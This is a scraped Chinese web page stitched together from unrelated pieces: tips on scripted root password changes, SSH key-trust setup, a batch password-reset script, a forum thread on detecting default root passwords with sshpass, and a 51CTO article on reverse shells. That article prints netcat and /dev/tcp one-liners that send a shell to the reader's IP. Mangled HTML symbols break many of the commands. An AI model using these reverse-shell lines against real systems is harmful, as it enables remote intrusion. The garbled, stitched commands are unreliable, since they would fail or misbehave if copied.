shell 修改用户密码如何远程修改root密码

标签:至少1个,最多5个
交互方式修改密码
1. ssh 远程到主机;
2. 切换到root账号;
[一般都是切换到root进行密码修改,如果普通用户修改自己的密码,要输入原密码,然后新密码要满足复杂度才OK];
3. passwd username
使用passwd username 修改 username 的密码;使用该命令会有提示,即进入了交互界面,输入密码即可。
使用脚本修改密码
很多时候我们可能需要远程执行服务器上的脚本来修改账号密码,此时就没有办法进行交互了。此时可以使用如下两种方式修改密码:
echo "password" | passwd testuser --stdin & /dev/null 2&&1
echo testuser:password|chpasswd
密码字符串的双引号,可有可无,见上面 方式1 和 方式2 的例子
如果密码中包含 $ 字符,需要使用反斜线进行转义,如:
echo testuser:password\$|chpasswd
1 收藏&&|&&6
你可能感兴趣的文章
7 收藏,3.2k
echo这个用法为啥我进用在scp时不好使了呢 echo "123456“ | scp authorized_keys node2:~/.ssh/就是这么简单的一条,可是后面的scp没有读到输入,还是提示输入密码,这是为什么呢??
分享到微博?
技术专栏,帮你记录编程中的点滴,提升你对技术的理解收藏感兴趣的文章,丰富自己的知识库
明天提醒我
我要该,理由是:在执行计划任务拷贝文件的时候,用scp命令需要输入密码,这里用公共密钥的方式实现密码的自动输入。
具体操作:
要求:把192.168.0.2机上的test.tar拷贝到192.168.0.3机器的上
192.168.0.2服务器上:mkdir -p ~/.sshchmod 700 ~/.sshssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
在192.168.0.3建立好.ssh目录后,从192.168.0.2拷贝~/.ssh/id_rsa.pub到192.168.0.3中~/.ssh目录下(scp&~/.ssh/id_rsa.pub root@192.168.0.3:~/.ssh)。192.168.0.3服务器上:mkdir -p ~/.ssh
把从192.168.0.2拷贝过来的id_rsa.pub重命名为authorized_keys(cp id_rsa.pub&authorized_keys)
chmod 600 ~/.ssh/authorized_keys此时拷贝就不需要输入密码:scp&test.tar root@192.168.0.3:/var/www下面就可以把此命令放到计划任务中而自动执行了
A为本地主机(即用于控制其他主机的机器) ;B为远程主机(即被控制的机器Server), 假如ip为192.168.60.110;A和B的系统都是Linux在A上运行命令:# ssh-keygen -t rsa (连续三次回车,即在本地生成了公钥和私钥,不设置密码)# ssh root@192.168.60.110&&"mkdir . chmod 0700 .ssh" (需要输入密码)# scp ~/.ssh/id_rsa.pub&&root@192.168.60.110:.ssh/id_rsa.pub (需要输入密码)在B上的命令:# touch /root/.ssh/authorized_keys2 (如果已经存在这个文件, 跳过这条)# cat /root/.ssh/id_rsa.pub&&&& /root/.ssh/authorized_keys2 (将id_rsa.pub的内容追加到 authorized_keys2 中)回到A机器:# ssh root@192.168.60.110 (不需要密码, 登录成功)如果能保护好自己的私钥, 这种方法相对在shell上输入密码, 要安全一些##############################################深入一点点:从表面上简单的理解一下登录的过程,首先 ssh-keygen -t rsa 命令生成了一个密钥和一个公钥, 而且密钥可以设置自己的密码,可以把密钥理解成一把钥匙, 公钥理解成这把钥匙对应的锁头,把锁头(公钥)放到想要控制的server上, 锁住server, 只有拥有钥匙(密钥)的人, 才能打开锁头, 进入server并控制,而对于拥有这把钥匙的人, 必需得知道钥匙本身的密码,才能使用这把钥匙 (除非这把钥匙没设置密码), 这样就可以防止钥匙被人配了(私钥被人复制)当然, 这种例子只是方便理解罢了,拥有root密码的人当然是不会被锁住的, 而且不一定只有一把锁(公钥), 但如果任何一把锁, 被人用其对应的钥匙(私钥)打开了, server就可以被那个人控制了所以说, 只要你曾经知道server的root密码, 并将有root身份的公钥放到上面, 就可以用这个公钥对应的私钥"打开" server, 再以root的身分登录, 即使现在root密码已经更改!如果想控制n个机器, 那就需要n对钥匙(密钥和公钥), ssh-keygen 命令可以随意更改钥匙对的名字, 比如:[root@wwy .ssh]# ssh-keygen -t rsaGenerating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/id_rsa_192.168.102.12......这样私钥和公钥的名字分别就是:id_rsa_192.168.102.12 和 id_rsa_192.168.102.12.pub然后将 id_rsa_192.168.102.12.pub 文件的内容, 追加到sever的 ~/.ssh/authorized_keys2 文件中,最后, 在本地用ssh命令的 -i 参数指定本地密钥, 并登录:# ssh -i /root/.ssh/id_rsa_192.168.102.12&&192.168.102.12如果密钥设置了密码, 就用密钥的密码登录, 没设密码, 就直接登录进去了scp也是一样的如:scp -i /root/.ssh/id_rsa./xxx&&192.168.102.158:/home/wwy/bak
阅读(...) 评论()中国领先的IT技术网站
51CTO旗下网站
如何创建反向Shell来执行远程Root命令
反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。
作者:佚名来源:| 10:36
反向shell(Reverse shell)是一种往远程机器发送shell命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,&一个普通的shell或简单的SSH通道不是也能实现这些吗?&不,无法实现。在网上,我看到很多人对普通shell和反向shell之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。
反向Shell(Reverse Shell)
反向shell的工作方式是远程计算机将自己的shell发送给特定的用户,而不是将shell绑定到一个端口上。后者在很多环境中是无法访问的。这样,你就可以对远程服务器执行root命令。
Bind Shell
bind shell是用户用BSAH,将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。
反向shell经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向shell,将来他们就能通过这个shell轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。
远程Unix主机
安装了netcat
使用NetCat实现反向shell交互
当通过shell登录到远程主机后,下面的指令能轻松的将shell发送到你的机器上:
nc&-c&/bin/sh&你的IP&任何一个未封锁的端口&
你甚至能通过netcat来pipe BASH。
/bin/sh&|&nc&你的IP&任何未封锁的端口&
然后监听这个shell:
nc&-l&-p&相同的端口&-vvv&
通过BASH实现反向shell
这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。
监听shell:
nc&-l&-p&任何未封锁的端口&-vvv&
先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。
exec&5/dev//相同的端口&$&cat&&5&|&while&read&&do&$line&2&5&&5;&done&
或另外一个反向shell:
0&196;exec&196/dev/tcp/你的IP/相同的端口;&sh&&196&&196&2&196&
这样,你就可以轻松是通过netcat发送任何命令了。
[英文原文: ]
【编辑推荐】
【责任编辑: TEL:(010)】
大家都在看猜你喜欢
原创头条头条外电头条
24H热文一周话题本月最赞
讲师:0人学习过
讲师:0人学习过
讲师:11人学习过
精选博文论坛热帖下载排行
本书针对初级网管朋友所需掌握的网络组建和网络管理技能,以示例方式编写而成,其主要特点就是实用性和可操作性非常强。
全书共分8章,分...
订阅51CTO邮刊用户名:king_819
文章数:139
评论数:600
访问量:2166778
注册日期:
阅读量:1297
阅读量:3317
阅读量:446397
阅读量:1131726
51CTO推荐博文
#!/bin/bash
# BY kerryhu
# MAIL:king_
# BLOG:http://kerry.
# Please manual operation yum of before Operation.....
一、建立信任关系
192.168.9.203 为管理机
192.168.9.201&192.168.9.202 为远程linux服务器
1、在管理机生成证书、
[root@manage ~]# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.&& (私钥)
Your public key has been saved in /root/.ssh/id_rsa.pub.&(公钥)
The key fingerprint is:
36:ec:fc:db:b0:7f:81:7e:d0:1d:36:5e:29:dd:5b:a0
2、将管理机上的公钥传送到各远程服务器
如远程服务器更改了默认的ssh端口号,就使用scp -P 1为端口号
[root@manage .ssh]# scp id_rsa.pub 192.168.9.201:/root/.ssh/authorized_keys
[root@manage .ssh]# scp id_rsa.pub 192.168.9.202:/root/.ssh/authorized_keys
管理机与远程主机信任关系建立完毕
二、通过shell脚本批量修改远程服务器密码
如果要调用mkpasswd就得安装expect,使用mkpasswd可以随机产生密码
usage: mkpasswd [args] [user]
&where arguments are:
&&& -l #&&&&& (length of password, default = 10)
&&& -d #&&&&& (min # of digits, default = 2)
&&& -c #&&&&& (min # of lowercase chars, default = 2)
&&& -C #&&&&& (min # of uppercase chars, default = 2)
&&& -s #&&&&& (min # of special chars, default = 1)
&&& -v&&&&&&& (verbose, show passwd interaction)
&&& -p prog&& (program to set password, default = passwd)
比如说你要指定一个长度为8,而且至少有三个大写字母的密码,那么可以这样输入:
mkpasswd -l 8 - C 3,好了,密码就会按你的要求随机产生了
yum -y install expect
ip_list.txt为远程服务器IP列表
[root@manage .ssh]# cat ip_list.txt
192.168.9.201
192.168.9.202
如果远程服务器修改了默认ssh的端口号,就使用ssh -p 1为端口号
#!/bin/bash
#============== Though ssh remote server ,auto modify ROOT passwd =============#
for IP in `cat /root/ip_list.txt` #导入远程要修改主机的IP&
#========================= 创建远程主机密码 ==========================#
TMP_PWD=`mkpasswd -l 8 -C 3`
R_PWD=`echo ${IP}_${TMP_PWD}`
echo &${IP}_${TMP_PWD}& & R_PWD.txt
#=========================== 修改远程主机密码 ========================#
if [ $? = 0 ] ; then
&& ssh $IP passwd root --stdin & R_PWD.txt
&& echo -e &$(date &+%Y-%m-%d %H:%M:%S&)\t${IP}\t${R_PWD}\t& && R_Server.log
&& echo -e &$(date &+%Y-%m-%d %H:%M:%S&)\t${IP} R_PWD.txt is create fail\tplease check!\t& && M_pass.log
if [ $? = 0 ] ; then
&& echo -e &$(date &+%Y-%m-%d %H:%M:%S&)\tThe ${IP} passwd is modify OK\t&&&& M_pass.log
&& echo -e &$(date &+%Y-%m-%d %H:%M:%S&)\tThe ${IP} passwd is modify fail\tplease check!\t&&&& M_pass.log
&本文出自 “” 博客,请务必保留此出处
了这篇文章
类别:┆阅读(0)┆评论(0)
06:16:35 14:17:08 21:20:41 14:44:41 21:06:41 17:15:34新手园地& & & 硬件问题Linux系统管理Linux网络问题Linux环境编程Linux桌面系统国产LinuxBSD& & & BSD文档中心AIX& & & 新手入门& & & AIX文档中心& & & 资源下载& & & Power高级应用& & & IBM存储AS400Solaris& & & Solaris文档中心HP-UX& & & HP文档中心SCO UNIX& & & SCO文档中心互操作专区IRIXTru64 UNIXMac OS X门户网站运维集群和高可用服务器应用监控和防护虚拟化技术架构设计行业应用和管理服务器及硬件技术& & & 服务器资源下载云计算& & & 云计算文档中心& & & 云计算业界& & & 云计算资源下载存储备份& & & 存储文档中心& & & 存储业界& & & 存储资源下载& & & Symantec技术交流区安全技术网络技术& & & 网络技术文档中心C/C++& & & GUI编程& & & Functional编程内核源码& & & 内核问题移动开发& & & 移动开发技术资料ShellPerlJava& & & Java文档中心PHP& & & php文档中心Python& & & Python文档中心RubyCPU与编译器嵌入式开发驱动开发Web开发VoIP开发技术MySQL& & & MySQL文档中心SybaseOraclePostgreSQLDB2Informix数据仓库与数据挖掘NoSQL技术IT业界新闻与评论IT职业生涯& & & 猎头招聘IT图书与评论& & & CU技术图书大系& & & Linux书友会二手交易下载共享Linux文档专区IT培训与认证& & & 培训交流& & & 认证培训清茶斋投资理财运动地带快乐数码摄影& & & 摄影器材& & & 摄影比赛专区IT爱车族旅游天下站务交流版主会议室博客SNS站务交流区CU活动专区& & & Power活动专区& & & 拍卖交流区频道交流区
白手起家, 积分 28, 距离下一级还需 172 积分
论坛徽章:0
我现在管理一个团队,我们组有300多台小机分区,由10多个工程师运维,用户的root密码归我们运维组负责,用户如果需要临时使用root密码,需要给我们提交工单,我们会把root密码设置为默认的root,然后第二天再由我们工程师收回。
但是在实际管理中,我发现有工程师偷懒,root密码一直忘记收回,我想对我们组负责的所有小机进行检查,想通过shell编程的方式实现。
服务器列表我有,但是我想知道如何编写这个shell脚本,难点是如何输入Y 字母
手工可以这样操作
ssh -l root HOSTNAME
然后输入Yes表示同意SSH协议
ssh -l root HOSTNAME
输入默认的root字母,然后就可以知道是否可以通过默认密码登陆系统
但是这个方法太笨了
如何编写一小段程序完成这个工作呢。
&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp
小富即安, 积分 2668, 距离下一级还需 2332 积分
论坛徽章:9
富足长乐, 积分 7443, 距离下一级还需 557 积分
论坛徽章:5
LZ去Google下这个
然后就可以
sshpass -p &root& ssh -l root HOSTIP
这样来测试了。反正能登录的都是违反规定没改密码的。
白手起家, 积分 47, 距离下一级还需 153 积分
论坛徽章:0
白手起家, 积分 28, 距离下一级还需 172 积分
论坛徽章:0
sshpass 不错,但是需要安装软件,谢谢了
我试试expect

我要回帖

更多关于 shell 修改密码 的文章

 

随机推荐